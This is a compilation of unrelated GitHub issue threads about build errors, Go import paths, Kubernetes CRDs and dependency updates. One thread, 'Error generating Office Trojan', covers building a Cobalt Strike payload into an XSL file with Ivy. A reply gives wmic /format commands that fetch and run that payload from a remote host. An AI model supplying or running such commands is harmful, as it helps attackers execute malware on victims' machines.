@jonsequitur i ma proposing to merge this in or merging / rebasing into @ocallesp open pr. what do you think?

@jonsequitur i ma proposing to merge this in or merging / rebasing into @ocallesp open pr. what do you think?

sure.
Moved to https://github.com/dotnet/interactive/pull/2800/commits/48cdbfdc5007f4ff79242b033f08be0ea08fb9f4


Error generating Office Trojan

I am sorry that I cannot open the xxx. XLS file because there is something wrong with the content. What should I do

Could show/tell me how you are executing it. The more details you provide me the easier it is for me to identify the issue.

I used Cobalt Strike to generate the C language payload and then used Ivy. exe-ix64 stageless64.bin -ix86 stageless32.bin -p Local -o test. XSL -delivery XSL -stageless is generated, but I don't know if the -URL parameter is required

How are you trying to execute the file?

Runs as an administrator on Windows

That's the problem you cant just write click it. XSL files like that need to be executed with a WMIC command that allows for a format command argument.  When you compiled it, It should of listed something like this:
wmic computersystem list full /format:"http://ACME.com/test.xsl"
wmic computersystem list brief /format:"http://ACME.com/test.xsl"
wmic process list brief /format:"http://ACME.com/test.xsl"

Those are how you can execute the file.

Okay, I'll try it. Thank you very much


Case-conflict between canonical repo address and go imports

The github.com/Microsoft org was just renamed to github.com/microsoft
This means that the canonical github repo address now conflicts with canonical go import packages (for example, "github.com/Microsoft/hcsshim/internal/hcserror", as referenced from https://github.com/microsoft/hcsshim/blob/master/hcsshim.go#L9)
It is now very easy for downstream consumers that depend on leaf packages only (which don't import any other upper-case "github.com/Microsoft/..." packages) to accidentally clone and add imports to lower-case "github.com/microsoft/..." packages. This will work in isolation, but as soon as their library has to coexist in a build with any other component which used the canonical "github.com/Microsoft/..." imports, builds will start failing.
(This was possible before, but way harder to do accidentally, since all the links and clone commands from github agreed with the canonical go import packages)
Context:

https://twitter.com/ehotinger/status/1125792922463424512
https://twitter.com/liggitt/status/1125843936864612353

Cautionary tale:

https://github.com/sirupsen/logrus/issues/570#issuecomment-313933276

Also filed in the other Microsoft dependency we use in Kubernetes:
https://github.com/microsoft/go-winio/issues/135
Please consider reverting the Microsoft -> microsoft rename.
cc @jeffwilcox

(hoisting from https://twitter.com/liggitt/status/1125879048658403329 so it doesn't get lost)
If the case change is here to stay, some things that would help a lot:

guidance and checks to ensure all the go repos under the org agree and continue to use Microsoft
example go get commands in the READMEs of all the go repos to guide consumers
add canonical import paths with the correct case (https://golang.org/doc/go1.4#canonicalimports) to prevent accidental use of the wrong case downstream

Thanks Jordan. These are good suggestions. We are discussing internally what we want to do across Microsoft's go repos so that we can have a consistent approach.


typo correction in index.js

might rrlate to issue #45

@thepriefy thanks for the contribution. Thats a good observation.


Adding preserve unknown fileds to support parameters as a map

See https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/#field-pruning

LGTM

OK, I'll take a closer look tomorrow.

Hello I think this is the list of files that need to be changed clusterserviceclass.yaml clusterserviceplan.yaml servicebinding.yaml serviceclass.yaml serviceinstance.yaml serviceplan.yaml
Also I think they might be machine generated. If that is correct then the script that generates them probably needs updating.

It seems that only serviceinstance.yaml(parameters) and servicebinding.yaml(parameters) need to be changed.
Can you explain why you need to change these.
@dee0sap

Sure. List below shows attributes of these classes that will be dropped if the don't have 'x-kubernetes-preserve-unknown-fields: true' clusterserviceclass and serviceclass : defaultProvisionParameters and externalMetadata
clusterservicepland and serviceplan: defaultProvisionParameters, externalMetadata, instanceCreateParameterSchema, instanceUpdateParameterSchema, and serviceBindingCreateParameterSchema

Thank you very much, because these attributes are not used in my project, so I don't know them very well.

@dee0sap
I will submit a PR tomorrow. Please check it for me. Thank you very much.

You're welcome and thank you @duanhongyi for doing this.
I wanted to do something but my schedule has just been too full.


PING A,B: An unexpected deviation from the native call in argument parsing mode

PING A,B
IE PING A,B

Ping request could not find host A,B.
Ping request could not find host A.

True, but that can't be helped, because by the time ie sees argument A,B, it sees an array, whose elements it then passes as individual arguments to the external executable.
That's a good illustration of why a  proper engine-level fix is the preferable solution.
The workaround is to use quoting:
ie ping 'a,b'

I'll add a note to the read-me.

Thanks for the heads-up.
I've summarized the known limitations in https://github.com/mklement0/Native/blob/master/README.md#known-limitations, which is now a subsection of a new overview section that briefly introduces the commands and links to their detailed descriptions.


Misc improvements to makefiles to fail builds early

Improve the failing of builds when something goes wrong.
Also rolled in a test style fixup.

test-me-please


yarn lint fails when choosing react-storybook template

Current Behavior

After creating a new dts-cli project, choosing the react-storybook template, running yarn lint will fail due to not being able to load eslint-plugin-prettier correctly.
Expected behavior

yarn lint works without any problems
Suggested solution(s)

Installing eslint-plugin-prettier helps get rid of the error message, but it does not seem to be the intended way, since for the react template it works out of the box (and there it is also missing in the package.json)
Additional context

It apparently only fails in the react-storybook template.
yarn run v1.19.1
$ dts lint
Defaulting to "dts lint src test"
You can override this in the package.json scripts, like "lint": "dts lint src otherDir"
Error: Failed to load plugin 'prettier' declared in 'BaseConfig': Cannot find module 'eslint-plugin-prettier'
Require stack:
- /Users/dummy/react-libs/dts-test-storybook/__placeholder__.js
Referenced from: BaseConfig
    at Function.Module._resolveFilename (node:internal/modules/cjs/loader:933:15)
    at Function.resolve (node:internal/modules/cjs/helpers:108:19)
    at Object.resolve (/Users/dummy/react-libs/dts-test-storybook/node_modules/@eslint/eslintrc/dist/eslintrc.cjs:2325:46)
    at ConfigArrayFactory._loadPlugin (/Users/dummy/react-libs/dts-test-storybook/node_modules/@eslint/eslintrc/dist/eslintrc.cjs:3376:33)
    at ConfigArrayFactory._loadExtendedPluginConfig (/Users/dummy/react-libs/dts-test-storybook/node_modules/@eslint/eslintrc/dist/eslintrc.cjs:3196:29)
    at ConfigArrayFactory._loadExtends (/Users/dummy/react-libs/dts-test-storybook/node_modules/@eslint/eslintrc/dist/eslintrc.cjs:3117:29)
    at ConfigArrayFactory._normalizeObjectConfigDataBody (/Users/dummy/react-libs/dts-test-storybook/node_modules/@eslint/eslintrc/dist/eslintrc.cjs:3058:25)
    at _normalizeObjectConfigDataBody.next (<anonymous>)
    at ConfigArrayFactory._normalizeObjectConfigData (/Users/dummy/react-libs/dts-test-storybook/node_modules/@eslint/eslintrc/dist/eslintrc.cjs:3003:20)
    at _normalizeObjectConfigData.next (<anonymous>) {
  code: 'MODULE_NOT_FOUND',
  requireStack: [
    '/Users/dummy/react-libs/dts-test-storybook/__placeholder__.js'
  ],
  messageTemplate: 'plugin-missing',
  messageData: {
    pluginName: 'eslint-plugin-prettier',
    resolvePluginsRelativeTo: '/Users/dummy/react-libs/dts-test-storybook',
    importerName: 'BaseConfig'
  }
}
error Command failed with exit code 1.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.

Your environment

System:
    OS: macOS 12.1
    CPU: (8) x64 Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz
    Memory: 701.05 MB / 16.00 GB
    Shell: 5.8 - /bin/zsh
  Binaries:
    Node: 16.14.2 - /usr/local/bin/node
    Yarn: 1.19.1 - ~/.yarn/bin/yarn
    npm: 8.5.0 - /usr/local/bin/npm
  Browsers:
    Brave Browser: <IP_ADDRESS>
    Chrome: 100.0.4896.127
    Firefox: 98.0.2
    Safari: 15.2
  npmPackages:
    dts-cli: ^1.5.0 => 1.5.0
    typescript: ^4.6.3 => 4.6.3

it's because sometime yarn did not dedupe dts-cli's deps. you'll need to run npx yarn-deduplicate to do this.
Technically the plugins should be the app's dpes(not dts-cli's), but it's a quiet big overhead for dts users. I planned to take the eslint's new config system (still wip, likely to be shipped in eslint v9) to avoid this. so, as of now you may need to run npx yarn-deduplicate.
if you are using yarn v2+, just run yarn dedupe.

related https://github.com/eslint/eslint/issues/3458


Please update sanitize-html

The Snyk report below outlines a risk of ReDoS that can be exploited with the 2.6.1 version of sanitize-html. Upgrading to 2.7.1 or higher is meant to fix this.
https://security.snyk.io/vuln/SNYK-JS-SANITIZEHTML-2957526

@sam-grade can you create a PR?

Fixed with new release.


bug found in SecondScreen app ( in action button function is not working properly )

Project Information

Repository: https://github.com/farmerbb/SecondScreen

Project Name: SecondScreen

Publisher   : Braden Farmer

Expected behavior
according to my knowledge when  after open the application and when i chose the function in action tab the function should be work properly and smoothly
Actual behavior
after open the application when i click on the Acton button  and when i chose the some function in action tab the function is not working properly  you can see in bug video properly
How to reproduce

download and open the application
click on aaction button
choose some function in action tab
select your function
note the bug
Browser: SecondScreen version 2.7
Operating system: android version 6.0.1

Recording Of The Bug
https://youtu.be/Ol2FtKTQALM
Proof of Work Done
https://github.com/nasirshah1813

Can you go into your superuser app and verify that SecondScreen has been granted root access?


DisabledByDefault is not a subkey but a value

DisabledByDefault is described as a subkey name while it is a name of a value within both a Client and a Server subkeys.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 38fcd9dd-91c8-e79b-5f4d-28a435a8ada8
Version Independent ID: 0d79a0c8-0b73-c783-4d5c-b107d24acf55
Content: Transport Layer Security (TLS) registry settings
Content Source: WindowsServerDocs/security/tls/tls-registry-settings.md
Product: windows-server-threshold
GitHub Login: @Justinha
Microsoft Alias: justinha

Looks like this just got closed, but was never fixed.


🔧⚙🔩 [Breaking Change] (code + test) Move some command option into subcommand.

Target

Move some command option into subcommand.
For example, the old usage commend line like below:
>>> mock-api --app-type flask --bind <IP_ADDRESS>:9672

The new usage command line would as following:
>>> mock-api run --app-type flask --bind <IP_ADDRESS>:9672

Modify Code Scope

Source Code

module cmd
module runner
module server.sgi.__init__
module server.sgi._model

Testing Code

Common Module

test module _values

Unit Test

test module server.sgi.init_
test module server.sgi.model_

Integration Test

test module runner_
test module run_cmd_

Effecting Scope

Modify the usage of command line to let it to be more user-friendly and easier to extend other site features in the future.

Description

Add one more class about all sub-class of it is one specific subcommand run's option and instantiate it by meta class.
Modify all option classes to extend of the new object which relative about running application.
Add processing of new argument about subcommand.
Adjust the test implementations.

Even through the test coverage decreases. (0.17%) but the level could be accepted (<<<= 3%) so ignore the checks are fail.


When memory is reduced to about 30%, it no longer decreases.

This problem does not happen with the apk you provided.

#1

in android os there is a zram(swap) section, when 60% full, the swap file is included. I think the question can be closed

zram is slower than ram

in android os there is a zram(swap) section, when 60% full, the swap file is included. I think the question can be closed. https://en.m.wikipedia.org/wiki/Zram

here is an example of how zram works. ram: 963, android uses 500 MB of RAM, the size of zram is 500 MB (this program takes longer to fill up than yours, and fills up before the application crashes)


reportUndefinedVariable for same class parameter

When creating a class function, if one of the parameters is of the same class, Pylance is reporting as "reportUndefinedVariable" but it shouldn't report as problem as it is inside the class. Variable suggestions is working fine, though.

class MyClass:
    def something(self, other: MyClass):
        m2.so

m1 = MyClass()
m2 = MyClass()

m1.something(m2)

My bad, thank you


WIP: Implement find_images_by_names with Pyxis GraphQL

Implement find_images_by_names with Pyxis GraphQL with same projection as LightBlue's result, Jira: CWFHEALTH-1251

@qixiang @mulaieva Please review

@qixiang I resolved your suggestions, you can take a final look


merge package from Kronos-Tools/npm-package-template

package.json

chore(devDependencies): add rollup-plugin-commonjs:^9.1.3 from template
chore(devDependencies): add rollup-plugin-node-resolve:^3.3.0 from template
chore(devDependencies): add rollup-plugin-executable:1.2.0 from template
chore(devDependencies): update semantic-release:^15.3.1 from template
docs(package): remove keyword null

:tada: This PR is included in version 2.2.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


fix: refresh AWS credentials if marked as expired

https://github.com/prometheus-community/elasticsearch_exporter/pull/597 adds support for AWS OpenSearch instances, but the credentials may expire if using the EC2 metadata endpoint (IMDS) to fetch credentials for signing.
As such, before sending request, we should check if the credentials have expired and refresh if need be.

I believe this also fixes https://github.com/prometheus-community/elasticsearch_exporter/issues/624, which I'm experiencing as well.  After a certain amount of time, the temporary credentials fetched from IMDS expire and just get 403s afterwards.

Hi, @sysadmind, would it be possible get a look/review? Thanks!


Adding new circle-close icon

Is there anything to be done for the Travis build to pass?

It keeps timing out on the IE11 tests... seems like a Sauce-specific issue. I'd say it's OK to merge.


Font size

It would be nice if I could change the font size of terminal panes, independently of text editing panes.

All repositories in the atom-archive organization are unmaintained and deprecated. Because of this, we are archiving this repository and closing all issues and pull requests. Thanks very much for your support and contributions!